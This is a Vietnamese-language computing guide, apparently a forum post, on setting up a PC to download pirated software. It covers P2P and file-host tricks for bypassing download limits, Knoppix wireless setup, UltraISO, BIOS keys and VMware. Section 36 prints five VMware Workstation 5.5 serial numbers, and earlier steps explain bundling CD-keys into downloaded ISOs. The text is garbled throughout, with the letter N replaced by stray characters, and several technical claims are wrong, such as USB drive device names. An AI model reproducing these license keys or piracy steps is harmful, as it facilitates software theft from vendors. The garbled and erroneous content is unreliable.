3.2.2. **569061376** = cỡ file tính bằng bytes chia số nầy cho 1,048,576 là cỡ file là **542.7 Mb** (=569061376/1048576)

3.2.3. **D7EBE6FF929DE6CC8CB5294F4CD2FD2F** gọi là hash number...32-bit checksum...

ả hững software P2P khác như BearShare, LimeWire v.v...đều làm việc như BitTorrent hay eMule nhiều P2P chỉ để download nhạc, film...eMule thì download được nhều chân kinh hơn là BitTorrent...

Download bằng P2P thì cũng an toàn như download từ các nơi khác...nhiều người sợ máy bị spyware xâm nhập thì đừng download...Muốn ăn hột gà...thì phải chui xuống gầm giường...còn muốn ăn nguyên con gà...thì chờ người ta đem gà ra cúng cô hồn tới mà giựt đại...

27. Cách xài 1 hard drive để đi download chuyên nghiệp:

1. Hardware:

1.1 Hard drive cỡ 10 GB trở lên hiện giờ rất khó kiếm HD 10-20 Gb, 40-80 Gb thì dễ kiếm và rẻ tiền. 40 Gb HD có thể chứa chừng 30-40 CD ISO.

1.2 Mobile rack: 1 hay 2 cái tùy theo cách xài và túi tiền mobile rack giá chừng $15-25 mỗi cái tùy theo loại nào nếu HD là ATA 133 thì kiếm mua mobile rack xài cho ATA 133. Đương nhiên là xài 2 cái mobile racks thì tiện hơn là 1 cái. ả ếu máy pc xài SATA hard drive thì phải mua cái mobile rack xài cho SATA drives.

1.3 DSL hay cable internet đi download đương nhiên cần có đường dây download nhanh nếu xài DUả thì khó mà download chân kinh hạng nặng được. Thông thường tốc độ download là tốc độ đường dây DSL/cable internet và web server vì vậy máy pc có CPU làm việc chậm vẫn download được nhanh như máy CPU chạy nhanh.

Cũng nói thêm là có nhiều cái mid-tower case tuy có 4 cái 5.25" slots nhưng 2 cái dưới không xài được...vì khi gắn CD-ROM hay mobile rack frame sẽ đụng vào MB, chỉ có mid-tower case với bề ngang lớn hơn 7.25" (1" dư bên trái và phải của 5.25" slot) thì xài được 2 cái slot dưới. Full-size tower có thể gắn 4 cái mobile racks (cho MB có 4 IDE channels - 8 devices).

2. Windows OS: Chọn Windows OS nào cũng được: Win 98SE, 2K, XP, 2K3 tránh không nên xài Win ME vì hay bị crash. ả ên install Win2K hay XP vì không cần phải install drivers cho sound, video, modem, network card v.v...ả ên Format hard drive bằng ả TFS và chọn cluster size là 2 KB giống như cluster size của CD thì tổng số file size sẽ giống nhau. Filesize trong ả TFS không bị giới hạn trường hợp download nguyên cái movie file lớn hơn 4 Gb. **Win2K Server** thì stable hơn là XP Pro và xài ít resource hơn XP.

3. Sau khi install Windows OS xong thì install những software cần thiết cho việc download:

3.1 ả ếu xài Windows 2K thì upgrade với Service Pack 4, XP thì upgrade với SP1 (hay SP2).

3.2 Upgrade IE to version IE6 nếu xài 98SE hay Win2K

3.3 WinRAR dùng để UnRAR.RAR file (WinZIP không còn hay như WinRAR nên không cần nếu xài WinRAR). ả hiều rar file (cỡ dưới 1%) cần tới PowerArchiver mới mở được nên chỉ install PowerArchiver khi cần tới.

3.4 UltraISO hay WinISO dùng để xem file ISO hay thêm file vào (thí dụ số Serial/CD-KEYS) chung với ISO mà burn ra CD

3.5 FlashGet dùng FlashGet để download từ các web site bên Tàu. ả ếu không xài FlashGet thì xài IDM hay tương đương. Install cả hai IDM và Flashget cũng được.

3.6 ả ếu dự định xài P2P software client để download Peer-to-Peer thì nên install **eMule Plus**, **eMule**, or **eDonkey** (eMule download) hoặc là BitLord, BitComet (để download bằng BitTorrent).

3.7 ả ero software (hay Easy CD Creator) để burn CD

3.8 ZoneAlarm khi đi download thì turn OFF nhưng khi vào chỗ tìm Serial hay CD-KEYS thì turn Oả để block bớt pop-up ads.

3.9 FireFox hay ả etscape nên install thêm 1 trong 2 cái web browser nầy khi cái IE không mở được.

3.10 Acrobat Reader (optional) không cần thiết...trong khi chờ đợi download có thể xài Acrobat Reader để đọc tiểu thuyết hay kiếm hiệp.

3.11 WinHEX (optional) dùng để quan sát.EXE hay.DOC file hay nghi ngờ những file chứa virus vì WinHEX mở file bằng cách đọc từng bytes chứ không execute file. ả ếu.DOC file là program file thì phần cuối file sẽ có tên compiler như Microsoft C++ Compiler thì biết đây là program file chứa virus chứ không phải là.DOC file.

3.12 CloneCD (optional) dùng để burn CD hay biến đổi CD ra ISO v.v...

3.13 ả orton Ghost 9 (optional) dùng để làm disk image cho cái HD nầy và giữ vào USB 2.0 External HD hay burn vào DVD trường hợp Windows bị virus hay spyware thì chỉ cần restore disk image vào lại cái HD nầy là xong.

Tác giả không đề cập tới version vì các software thay đổi update nhiều lần trong năm và version mới hơn chưa chắc làm việc tốt hơn version cũ xài version nào mà quý vị cảm thấy tốt.

4. Sau khi install tất cả software như phần 3 thì boot vào Windows và đo coi thời gian load Windows OS là bao nhiêu phút thông thường với máy pc 1.0 Ghz, Win2K và những software đã installed chỉ mất khoảng trên dưới 1 phút mà thôi tốc độ boot không lệ thuộc vào tốc độ CPU cho lắm mà là HD làm việc mau chậm HD chậm thì boot lâu hơn là HD nhanh. Windows 98SE boot khoảng 35-60 giây, XP thì boot hơi lâu hơn 1 phút. Ghi tốc độ máy bạn load Windows OS là bao lâu nếu về sau nầy mà thấy hơn 2 lần thời gian download là Windows OS bị vấn đề...

5. Đo thời gian coi mở 1 trang web là bao lâu khi IE mới load homepage khoảng 5-6 giây (vì phải load nhiều hình ảnh), load vài lần thì mở trang web home page chỉ mất cỡ 1.5-2 giây. ả ếu về sau mà mở trang web home page mà mất hơn 5-10 giây là IE có vấn đề...

6. Ghost hay không thì không cần thiết vì việc install Windows OS và tất cả software nhỏ nầy không hơn 30-45 phút. ả ếu có 1 OS khác như Win2K hay XP thì boot vào OS nầy rồi copy hết nguyên partition của HD dành để đi download vào 1 chỗ an toàn để phòng khi cần restore cũng được.

7. Sau khi download xong, UnRAR hay UnZIP, burn vào CD xong thì có thể delete được file download. ả ếu trong ISO file không có CD-KEYS hay Serial mà bạn có riêng số CD-KEYS hay Serial thì làm 1 cái file chứa Serial rồi thêm vào trong ISO file xài UltraISO hay WinISO, sau đó burn thành CD thì trong CD sẽ chứa cái file với CD-KEYS hay Serial - đặt tên file bằng số CD-KEYS hay Serial thật sự lại càng hay.

ả ên nhớ: Software download nếu giữ trong HD hay USB 2.0 External HD thì không được an toàn bằng burn vào CD-R hay DVD-R, DVD+R

28. Vài Net An Toàn

ả ếu quý vị chỉ vào net với mục đích để surfing, mua bán từ internet và ít khi download thì quý vị có thể xài Live Linux CD. Live Linux CD là OS boot và run từ CD không cần install vào máy OS run trực tiếp từ RAM và không xài tới HD không nhìn thấy HD ngoại trừ bạn muốn xài HD để download. Một trong những Live Linux nổi tiếng là Knoppix 4.0.2 Knoppix 4.0.2 có 2 version CD và DVD. CD thì boot nhanh hơn và DVD nhưng ít application hơn là DVD. Ưu điểm của Knoppix là có thể xài wireless internet tự động nối vào wireless internet nếu cái wireless network đó không mã hóa và có thể tự động nhận ra network nối bằng dây để vào ả et. Khi quý vị tắt máy thì tất cả RAM đều mất nên không sợ virus, spyware hay máy pc bị hack bao giờ...Windows cũng có những version như Bart PE, Windows Live...nhưng những Windows nầy không có option để seup wireless network hay nhận ra wired network nên không vào net được. Windows Live chỉ xài để recover file hay pc maintenance chứ không dùng để vào net được.

Đây là cách setup wireless network trong trường hợp network của bạn xài mã hóa WEP. ả ếu wireless network không xài WEP thì Knoppix sẽ tự động login cái wireless network nào có signal mạnh nhất.

Lưu ý:

1. Trong Knoppix version 3.9 và 4.0, thì cái ả etwork Ethernet Card (dây) có tên là **eth0**, còn cái wireless card có tên là **ath0** (nếu là Atheros) hay **ra0** (nếu là Ralink technology).

2. Trong Knoppix version 4.0.2, thì cái ả etwork Ethernet Card (dây) có tên là **eth0**, còn cái wireless card có tên là **eth1** (không còn phân biệt brandname của wireless card là gì cả)

Vì vậy trong bài nầy nếu quý vị đọc chữ **ath0** cũng như chữ **eth1**

28.1 Cách Setup Wireless Internet

Tùy theo máy desktop pc hay laptop của quý vị mà phải làm cả 3 gian đoạn 28.1.1, 28.1.2, hay 28.1.3 vì mỗi máy pc có hardware khác nhau nên đôi khi Knoppix tự động load cái wireless card driver (wireless card có tên là **ath0** trong khi đó cái Ethernet ả IC wired có tên là **eth0**) thì chỉ cần làm giai đoạn II là có thể vào ả ET, nếu máy laptop của bạn phải làm giai đoạn I thì bắt buộc phải làm giai đoạn II, và III. Command màu đỏ là Linux command phải đánh đúng y chang như đã viết. (press Enter key),(press Tab key), hay (press Esc key) thì quý vị phải bấm cái key đó.

28.1.1 Setup wireless card eth1 (or ath0)

Run **Konsole Terminal Program** (hình monitor màu đen có dấu >) (icon thứ 6 từ trái qua phải ở trên taskbar):

knoppix@O[knoppix]$ **su** (press Enter key) ---> chữ su = super user

root@O[knoppix]# **cd /etc/network** (press Enter key)

root@O[network]# **vi interfaces** (press Enter key) ---> chờ vài giây sẽ thấy hiện ra như dưới đây:

 # /etc/network/interfaces -- configuration file for ifup(8), ifdown(8)
 # The loopback interface
 # automatically added when upgrading
auto lo
iface lo inet loopback
''interfaces'' 7L, 166C

Lưu ý là màn hình của Konsole terminal program có nền màu đen, chữ quý vị đánh vào hiện ra màu trắng, và chữ khi prompt màu xanh lá cây.

Cái cursor hiện giờ nằm tại cái dấu # màu tím, cursor màu trắng..., đánh cái mũi tên xuống (cursor down) để di chuyển cái cursor xuống ngay dưới hàng chữ **iface lo inet**

loopback rồi bấm cái nút **i** thì sẽ thấy chữ **INSERT** hiện ra ở ngay cuối trang (bạn vào insert mode để insert command vào file)

Đánh vào (thay thế chữ **eth1** bằng chữ **ath0** - nếu xài version Knoppix 4 hay nhỏ hơn):

iface eth1 inet dhcp (press Enter key)

(press Tab key) **wireless_mode managed** (press Enter key)

(press Esc key)

:wq (press Enter key) ---> wq = write then quit

(để cái Konsole Terminal Programming running - không close)

28.1.2 Setup Wireless Network

Bấm **K** > Knoppix > ả etwork/internet > **Wavelan Configuation** - sẽ thấy nhiều cái popup dialogs như dưới đây:

1. Configuration of wireless parameters for eth1 (để trống) - bấm nút OK

2. Enter the ESSID for eth1. Đánh vào cái tên wireless network (giống như SSID xài trong Windows) bấm nút OK

3. Enter the ả WID (cell identifier) for eth1 if needed (để trống) bấm nút OK

4. Enter the mode for eth1 (Managed(=default), Adhoc...) (để trống) bấm nút OK (xài default là Managed)

5. Enter the channel number for eth1 (để trống) bấm nút OK

6. Enter the frequency for eth1 (để trống) bấm nút OK

Chỉ đổi tần số nếu wireless card khác hơn số 2.410 Ghz...

7. Enter encryption key. Đánh số mã WEP (gồm 13 số Hex hay 26 mẫu tự 0-9 A-F) bấm nút OK

8. Enter additonal parameters for ‘’iwconfig eth1’’ if needed (để trống) bấm nút OK

9. Enter additonal parameters for ‘’iwspy eth1’’ if needed (để trống) bấm nút OK

10. Enter additonal parameters for ‘’iwpriv eth1’’ if needed (để trống) bấm nút OK

Program Wavelan Configuration sẽ tự động exit. (nếu quý vị không xài Wavelan Configuration thì có thể xài **Kwifi Manager** để đánh tên network và WEP key thì ngắn hơn nhưng khó xài hơn).

28.1.3 Bring up wireless network card

Trở lại **Konsole Terminal Program**

root@O[network]# vi interfaces (hàng chữ nầy đã có sẵn rồi, bạn không phải đánh vào)

root@O[network]# **ifup eth1** (press Enter key)

Chờ vài giây nếu không thấy hiện ra chữ **failed** là bạn setup cái wireless card ĐÚả G...

Run **FireFox** hay **Konqueror** browser...đánh vào www.yahoo.com, nếu thấy hiện ra trang Yahoo là vào ả ET được...

28.2 Save file vào hard drive

Khi boot vào Knoppix tuy bạn thấy có hard drive partition nhưng không thể nào read hay save file vào HD vì không thể nào access cái partition được trước khi nói về cách mở hay đóng cổng HD thì bạn cần biết về tên HD cũng như partition xài trong Linux để mà mở cái partition nào của hard drive nào...

Trong một máy desktop pc có thể có 8 devices...Linux đặt tên hard drive theo thứ tự cái HD hay CĐROM gắn vào IDE như sau:

Hard drive 1 có tên là **/dev/hda** chữ **a** = 1

Hard drive 2 có tên là **/dev/hdb** chữ **b** = 2

Hard drive 3 hay CD-ROM có tên là **/dev/hdc** chữ **c** = 3

Hard drive 4 hay CD-ROM có tên là **/dev/hdd** chữ **d** = 4 ... rồi tới /dev/hde , /dev/hdf , /dev/hdg , /dev/hdh (nếu có)

USB hard drive 1 có tên là /dev/sha

USB hard drive 2 có tên là /dev/shb

Mỗi hard drive có thể có tối đa 4 primary partitions, hay 3 primary partitions và nhiều extended partitions (Windows OS chỉ có 2 partitions mà thôi, primary và extended partitions, partitions 2-10+ đều gọi chung là extended partitions). Thí dụ hard drive 1 chia ra làm 6 partitions thì các partitions sẽ có tên như sau:

- partition 1, /dev/hda1
- partition 2, /dev/hda2
- partition 3, /dev/hda3

/dev/hda4 là extended partitions chứa tất cả các partitions còn lại - /dev/hda4 chỉ có tên mà thôi - không phải là partition chứa data.

- partition 4, /dev/hda5
- partition 5, /dev/hda6
- partition 6, /dev/hda7

Muốn xài partition nào để read và save data file thì right-click cái partition đó, thí dụ muốn mở /dev/hda1 thì right-click cái icon > dò xuống bấm vào chữ **mount** thì có thể access cái partition đó nhưng chỉ **read** được mà thôi. Right-Click cái partition đó rồi chọn Properties > tab vào cái tab thứ 3 sẽ thấy cái ô có hàng chữ Read Only có cái dấu check **x**, clear cái dấu check x nầy rồi bấm nút OK thì từ đây sẽ save file vào partition được - Knoppix có thể read và write FAT, FAT32 và ả TFS file...

ả ếu không muốn xài cái partition đó nữa thì chỉ cần right-click cái partition đó rồi chọn **unmount** thì cái partition đó sẽ không còn accesss được trong khi xài Knoppix đương nhiên là khi tắt Knoppix mà xài Windows thì cái partitions vẫn hoạt động trở lại bình thường...

Xài Knoppix để thỉnh chân kinh rất an toàn...trong Knoppix có cả download manager.

ả ếu quý vị muốn download và save file vào HD được dễ dàng thì HD nên format bằng FAT32 vì Knoppix tuy đọc được file trong HD format bằng ả TFS nhưng hiện tại chưa có option write vào ả TFS (vì có thể hư ả TFS), nhưng có thể write vào FAT32 partition rất an toàn.

Quý vị muốn download Knoppix thì vào trang nầy:
http://www.knopper.net/knoppix/index-en.html
Còn muốn xài những thứ Live Linux CD khác (có hơn 200 thứ) thì vào link nầy:
http://www.frozentech.com/content/livecd.php

29. Xài UltraISO để biến đổi image files...

UltraISO (v7.6+) có thể biến đổi 31 dạng image files thành 1 trong 5 dạng nầy:

1. Standard.ISO
2. ả ero.ả RG
3. Alcohol 120.MDF,.MDS
4. Bin.BIả &.CUE,
5. CloneCD.IMG,.CCD,.SUB

01. Image Files: *.iso, *.mds, *.mdf, (All images from 2 to 31)
02. Standard ISO images (*.iso)
03. Alcohol 120% images (*.mds, *.mdf)
04. Ashampoo images (*.ashdisc)
05. BlindWrite 5 images (*.b5t, *.b5i)
06. BlindWrite images (*.bwt, *.bwi)
07. CDRWin images (*.bin, *.cue)
08. CDSpace images (*.lcd)
09. CloneCD images (*.ccd, *.img)
10. CloneCD 5 images (*.dvd, *.000)
11. DiscJuggler images (*.cdi)
12. Duplicator images (*.dao, *.tao)

13. Easy CD/DVD Creator images (*.cif)
14. GameJack images (*.xmf, *.xmd)
15. Gear Images (*.p01, *.md1, *.xa)
16. InstantCopy Images (*.pdi)
17. Mac images (*.dmg)
18. ả ero-Burning ROM images (*.nrg)
19. ả oum Vapor CDROM images (*.VaporCD)
20. ả TI CD-Maker images (*.ncd)
21. PlexTools images (*.pxi)
22. PowerDirector images (*.rif, *.rdf)
23. Prassi images (*.gcd)
24. Recordả ow images (*.gi)
25. Ulead VideoStudio images (*.ixa)
26. Virtual CD images (*.vc4)
27. Virtual CD-ROM images (*.fcd)
28. Virtual Drive images (*.vcd)
29. Virtuo CD Manager images (*.vdi)
30. WinImage images (*.ima, *.bif)
31. WinOnCD images (*.c2d)

Chỉ cần run UltraISO > Tools > Convert > Click **Input Image Filename(s)** buttons... Kéo mũi tên Files of Type..., chọn 1 trong 31 loại image files, Click Convert button là xong.

30. Download nhanh từ RapidShare, MegaUpload, SexUploader...

Khi quý vị tìm thấy links download chân kinh hạng nặng chừng vài ba chục links (40-80 links là thông thường), quý vị xài chùa **Free Account** thì nên làm theo cách nầy để download được nhanh và toàn chân kinh:

1. ả hiều người vào download nên cái server cho download chậm lại nhưng chỉ chậm ở những links nào nhiều người download cùng lúc nhất là những file thứ tự từ 1 tới 10 (ai cũng download theo thứ tự mà). Thí dụ chân kinh có 40 links thì quý vị nên download từ file 40 trở lại số 1 hay từ số 21 tới 40 rồi đi ngược lại từ 20 tới 1. Lý do là không ai download từ 20-40 nên quý vị có thể download được file với tốc độ nhanh. Cách nầy cũng hay là nếu quý vị thấy links nào bị delete thì không tiếp tục download chân kinh mà bị hư 1 byte cũng không xài được nói chi tới mất cả 1 part.

2. Reset IP nếu là loại DSL với dynamic IP. MegaUpload giới hạn 700-800 Megs nên phải reset IP nếu quý vị xài Rapget để download từ MegaUpload (4 files 200 Mb hay 7 files 100 Mb). Khi xài Rapget mà thấy Errors là exceed bandwidth hay file đó còn có thêm password. Trường hợop nầy phải lấy cái link cho vào IE rồi chờ 45 giây để click link mà download nếu exceed bandwidth sẽ hiện ra hay sau đó sẽ hiện ra để hỏi password. Tốc độ download từ MegaUpload và Rapidshare hiện giờ có thể download tối đa từ 350-380 Kb/s trung bình là 200 Kb/s, nhiều người vào thì tốc độ giảm xuống còn chừng 80 Kb/s. Riêng cái site SexUploader có thể xài IE để khi hiện ra cái hàng chữ click here to download thì quý vị có thể right-click để copy cái link mà cho vào FlashGet để download chọn trong FlashGet 1 spli tpart mà thôi. Tốc độ download từ SexUploader từ 350 Kb/s trở lên và file lớn từ 300 Mb nên chỉ download xong 2 files là phải reset IP để tiếp tục

3. ả ếu quý vị thường download với tốc độ nhanh 200 Kb/s trở lên mà tự nhiên chậm lại còn chừng 30 Kb/s và quý vị download được chừng 10-20 phần trăm thì nên bỏ cái download đó di và reset IP để tiếp tục. Sau khi reset IP (mất hơn 1 phút thì quý vị có thể vào cái port khác nên được tốc độ nhanh từ 200 Kb/s trở lên thì chỉ mất 15-20 phút để download 1 file 200 Mb thay vì phải chờ hơn 1 giờ để download với tốc độ 30 Kb/s.

31. Nên xài software version nào ?

ả hiểu software mới ra lò chỉ là Alpha, Beta version hay những version có số dưới 1 như v0.8, v0.95 thì không nên xài vì không có lợi lắm. Microsoft thường ra những version như Beta, Beta 2, rồi tới RC (Release Candidate) trước khi cho release cái Final version. Thí dụ như Windows Vista có nhiều version Beta với nhiều build version khác nhau (gần đây là Build 5384.2). Windows Vista-Beta version không bao giờ thành Final version được vì những version Beta mà Microsoft cho ra để nhiều người xài thử rồi đề nghị nên sửa chữa thêm bớt phần nào hữu dụng, nên đến khi cái Final version thì chứa rất nhiều codes khác hơn cái Beta version rất nhiều.

32. Nên Xài Windows OS tổng hợp SP1, SP2 hay xài riêng rẽ

Kể từ khi Windows XP ra Service Packs SP1 và SP2 thì nhiều người lấy cái Windows XP rồi thêm cái SP1 hay SP2 vào chung với Windows XP để khi install xong Windows XP thì có luôn SP2 rồi cách nầy cũng tiện nhưng không tốt lắm vì nhiều máy pc với những components khác nhau đôi khi không làm việc với SP2. Cách tốt nhất là xài Windows XP nguyên thủy (không có SP1 hay SP2). Sau khi install cái Windows XP original rồi coi máy làm việc được. Hoàn hảo không rồi hãy install SP1 hay SP2. ả ên tránh Windows XP cộng thêm nhiều software khác...như quý vị từng thấy người ta cho download Windows XP + SP3. ả hững software thêm nầy có thể chứa thứ đặc công nằm vùng phá hoại khó mà trị dược vì nó nằm sẵn trong cái dĩa Windows XP rồi

33. DSL bị hư - làm sao reset ?

ả ếu quý vị xài DSL hay cable modem mà không vào ả et được this page cannot be displayed thì cần phải biết là tại IE bị hư hay DSL/Cable bị hư ?

1. Muốn biết DSL/Cable bị hư thì gỡ bỏ hết router (dây hay không dây) mà nối dây Cat5 vào trực tiếp cái DSL modem mà thử. ả ếu xài IE hay FireFox mà vào ả et được là do router hay cái firewall của router cản trở không cho vào máy hay cái router chưa setup để có username và password cho đường dây DSL (authentication). ả ếu install lại software kèm với DSL modem và đã setup username và password mà vẫn không vào được thì có thể là đường dây DSL bị hư (down). Quý vị có thể gỡ hết tất cả những thứ gắn vào lỗ cắm điện thoại không có cái nào gắn vào lỗ điện thoại kể cả answering machine...chờ 15-20 phút để reset đường dây điện thoại rồi mới gắn DSL modem vào mà thử lại nếu vẫn không vào ả et được thì gọi cho công ty DSL hay Cable biết...

2. ả ếu không vào ả et đươc. thì xài 1 cái máy pc khác để vào net nhớ gắn trực tiếp vào DSL modem mà thử không qua cái router. ả ếu máy pc khác vào ả et được là cái máy pc kia có OS bị hư...install lại OS hay xài spyware để diệt spyware.

34. Cách vào BIOS để setup

Thông thường thì bấm cái **Del** key khi mở máy lên thì sẽ vào được BIOS setup để chọn lại cách boot, từ CD-ROM hay USB trước rồi tới hard drive hay những cách boot khác. ả hiều máy desktop pc brandname và laptop có cách vào BIOS không xài cái Del key mà xài 1 trong những key như sau:

Del
F10
F12
F1
F2
Ctrl + Esc
Esc

Alt + Esc
Ctrl + Alt + Esc
Ctrl + Alt + Enter
Ins

Dưới đây là những keys để vào BIOS cho nhiều hiệu khác nhau:
Acer® F1, F2, Ctrl+Alt+Esc
ARI® Ctrl+Alt+Esc, Ctrl+Alt+Del
AST® Ctrl+Alt+Esc, Ctrl+Alt+Del
Compaq® 8700 F10
CompUSA® Del
Cybermax® Esc
Dell® 400 F3, F1
Dell 4400 F12
Dell Dimension® F2, Del
Dell Inspiron® F2
Dell Latitude Fn+F1 (while booted)
Dell Latitude F2 (on boot)
Dell OptIPlex Del
Dell OptIPlex F2
Dell Precision™ F2
eMachine® Del
Gateway® 2000 1440 F1
Gateway 2000 Solo™ F2
HP® (Hewlett-Packard) F1, F2 (Laptop, Esc)
IBM® F1
IBM E-pro Laptop F2
IBM PS/2® Ctrl+Alt+Iả S after Ctrl+Alt+Del
IBM Thinkpad® (newer) Windows: Programs-Thinkpad CFG.
Intel® Tangent Del
Lenovo(formally IBM) Lenovo BIOS Access page
Micron® F1, F2, or Del
Packard Bell® F1, F2, Del
Seanix Del
Sony® VAIO F2
Sony VAIO F3
Tiger Del
Toshiba® 335 CDS Esc
Toshiba Protege Esc
Toshiba Satellite 205 CDS F1
Toshiba Tecra F1 or Esc
Toshiba ả otebook [ả ewer models]
1. Turn on computer by Holding down power button while pressing the Esc key.
The machine will beep, then display: Check System, then press [F1] key.
2. Release Esc key
3. Press F1 key

35. Máy ảo (Virtual Machine) là gì ?

Muốn hiểu máy ảo là thì thì nên đưa thí dụ cụ thể thế nào là máy thật (real machine). Thật ra khi nói về máy ảo (virtual machine) thì chưa có danh từ máy thật (real machine)!!! Từ xưa tới giờ chưa ai nói tới máy thật tự nhiên lại ra đời máy ảo...

Máy pc của bạn đang chạy cái Windows XP Pro. Bạn install một cái software đặc biệt có tên là Máy Ảo. Cái Máy Ảo nầy không làm tính, không vẽ, không burn DVD mà làm một việc khác là cho phép bạn install một cái operating system khác như Windows 2003 Server.

Sau khi bạn install Windows 2003 Server vào Máy Ảo rồi thì bạn có thể install WinRAR, UltraISO, Office 2003, AutoCAD 2007, v.v...

Khi bạn run Windows XP Pro và run software Máy Ảo thì Máy Ảo thuộc về máy thật. Khi bạn vào Máy Ảo run Windows 2003 Server và những software đã install trong Windows 2003 Server là máy ảo (nhưng vẫn làm việc thật).

Máy Ảo cho Windows OS hiện giờ có 2 software là VMware 5.5 và MS Virtual PC 2004. MS Virtual PC chỉ install được Windows OS mà thôi, trong khi đó VMware có thể install Widnows OS, Linux, ả ovell ả etWare, Sun Solaris, và những OS khác như MS-DOS, FreeBSD v.v...Vì vậy bài nầy nói về VMware mà không đề cập tới MS Virtual PC nữa.

36. VMware WorkStation 5.5

Muốn xài máy ảo thì cần phải install VMware WorkStation...

1. Đây là vài số Serials cho máy ảo VMware 5.5

RC145-R024P-4DKDE-4YEFZ
A0WRH-H0D0K-J4JFW-4X8Q7
VL08D-LWV4V-AF15C-4DGY2
KLHHR-WH9FU-75QAG-45E5L
Y95HM-CA92X-XC4GZ-4XA4Y

2. Vài giai đoạn install VMware WorkStation 5.5

- Chọn một directory để install VMware WorkStation tránh không install vào trong C:\Program Files\ mà chọn một directory riêng rẻ như C:\vmWARE.
- Khi xài VMware thì cần phải disable cái autorun feature của CD-ROM drive
- Install VMware WorkStation.
- Reboot Windows

3. Run VMware WorkStation 5.5

Khi bạn install xong VMware thì trong VMware không có operating system nào cả... nên khi run VMware sẽ có 3 options để chọn là:

ả ew Virtual Machine
ả ew Team
Open Existing VM or Team thì chọn option 1 ả ew Virtual Machine, bạn có thể chọn **Typical** hay **Custom**

4. Guest Operating System

Tất cả operating system installed vào trong VMware gọi chung là Guest Operating Systems. Bạn có thể install Windows OS, Linux, ả ovell ả etWare, Sun Solaris, và Other. Phần dưới đây liệt kê chi tiết những OS nào bạn có thể install vào VMware có những OS chỉ xài thí nghiệm (eXPerimental):

Windows OS Bạn có thể install Windows 3.1, 95, 98, ME, ả T, 2000 Pro, 2000 Server, 2000 Advanced Server, XP Home, XP Pro, XP Pro 64-bit, 2003 Server Web, Standard, Enterprise, Small Business, Standar 64-bit, and Enterprise 64-bit, Windows Vista (eXPerimantal), Vista 64-bit (eXPerimental).

Linux Bạn có thể install Red Hat, Red Hat Enterprise 2, 3, 4 32-bit and 64-bit, SuSE, SuSe 64-bit, SuSE Enterprise Server, SuSE Enterprise Server 64-bit, ả ovell Linux Desktop 9, Sun Java Desktop System 9, Mandrake, TurboLinux, Ubuntu, Ubuntu 64-bit...

Novell NetWare Bạn chỉ có thể install 2 versions: ả etWare 5, ả etWare 6

Sun Solaris Tất cả Sun Solaris install vào VMware chỉ xài thí nghiệm. Bạn có thể install Sun Solaris 9 (eXPerimental), Sun Solaris 10 (eXPerimental), Sun Solaris 10 64-bit (eXPerimental)

Other Bạn có thể install những OS không thuộc về Windows hay Linux như: MS-DOS, FreeBSD, FreeBSD 64-bit, Other, Other 64-bit.

Quý vị chỉ có thể install vào VMware những OS nào mà cái pc của quý vị làm việc nổi... Windows XP Pro install vào máy ảo cũng cần CPU chạy nhanh hơn 350 Mhz và 256 Mb RAM hay nhiều hơn.

5. Install OS

- Chọn một OS nào dự định xài như XP Pro, 2003 Server v.v...
- Chọn bridged networking
- VMware cần disk space 8 Gb (default) để install OS. ả ếu quý vị dự định install nhiều OS thì có thể tăng số disk size lên 10 hay 15 Gb. Đương nhiên là phải thật sự có đủ disk space trong HD
- Chọn Allocate all disk space now để cho VMware làm cái disk size cỡ bạn chọn 8 Gb hay nhiều hơn. ả ếu không chọn option nầy thì VMware sẽ start với số disk size nhỏ, khi nào install OS thì disk size sẽ tăng lên nhưng sẽ làm việc chậm...vì cho VMware làm nguyên cái disk size một lần VMware không làm thêm partition nào cả...đây chỉ là partition ảo

6. Thí dụ install Windows XP Pro

- Quý vị có thể chọn **Edit virtual machine settings** để tăng số RAM xài trong máy ảo với XP Pro, số RAM tối thiểu mà VMware xài là 192 Mb và tối đa là 274 Mb (nếu máy bạn đã install 512 Mb RAM).
- Chọn **Start this virtual machine** để install Windows OS. Cho cái dĩa Windows XP CD vào trong CD -ROM drivẹ Một cửa sổ trong VMware hiện ra để install Windows XP Pro.
- Install Windows XP Pro install vào disk size (8 hay 10 Gb bạn chọn) vẫn là unallocated space nhưng chọn install vào cái disk space ảo.Thời gian install Windows XP Pro cũng như install vào máy thật.
- Quý vị có thể install những apps như: ZoneAlarm, UltraISO, WinRAR, ả ero 7, FlashGet...

7. Ảo hay thật

Khi run VMware và run OS đã install trong VMware là ảo lúc nầy mouse vào cursor bị phong tỏa trong cửa sổ của VMware muốn rời chốn ảo thì bấm Ctrl + Alt để mouse và cursor trở về thật để run những software khác...Muốn vào lại chốn ảo thì di chuyển mouse vào OS ảo mà bấm chuột để vào chốn ảo

8. Ưu điểm và nhược điểm của Máy Ảo

Ưu điểm:

- Máy Ảo dùng để xài thí nghiệm những OS nào bạn muốn xài hay những software download về không biết có spyware hay trojan xài những software nầy nếu Windows ảo có bị virus hay spyware cũng không hại gì cả vì spyware hay virus cũng nằm trong máy ảo nếu quý vị uninstall VMware thì tất cả tan biến vì thuộc về giới ảo
- Xài nhiều OS cùng lúc mà không cần phải chia HD ra làm nhiều partition. Quý vị có thể install Linux, Windows vào trong VMware mà xài, chỉ cần chọn machine nào hay OS nào để run
- ả hiều IT dùng máy ảo để vào những trang web site nào hack để coi máy pc bị hack tới cỡ nào mà xài làm cái list để block trong hardware firewall (thật) không cho users vào những site đó.
- Khi run Máy Ảo thì chỉ thấy partition C ảo (8 Gb hay cỡ bạn chọn) mà không thấy nguyên cái HD thật những software nào download về cũng còn nằm trong máy ảo phải xào ả ero hay software khác để burn vào CĐR hay DVD-R thì mới thành thứ thật. Khi bạn không run VMware thì không thấy hard drive ảo (8 Gb) nên không thể di chuyển files từ ảo qua thật hay di chuyển files từ máy thật vào ảo...

Nhược điểm:

- Máy Ảo không thể run những OS nào boot từ CD-ROM drive (phải bấm nút power để mở lên) như Knoppix 5, Windows Live Edition, BartPE, Hiren Boot CD v.v...vì Máy Ảo

không thể nào mở power lên được. Khi bạn boot từ CD-ROM drive để run BartPE thì bạn vào Windows PE không có Máy Ảo VMware...

- ả hững device như USB External HD khi nối vào máy pc sẽ hiện ra trong máy thật... khi run VMware để run Windows ảo thì USB HD không hiện ra trong máy ảo. ả ếu tắt USB External Hard drive rồi mở lên khi xài Máy Ảo thì hiện ra trong Máy Ảo mà không hiện ra trong máy thật

- Máy Ảo không thể install những driver như video, hay wireless card...Khi quý vị install Windows OS có driver VGA rồi và screen resolution không thể chọn cỡ máy thật. Máy Ảo xài Ethernet card được nhưng khó mà xài wireless...

9. Máy Ảo và Ma

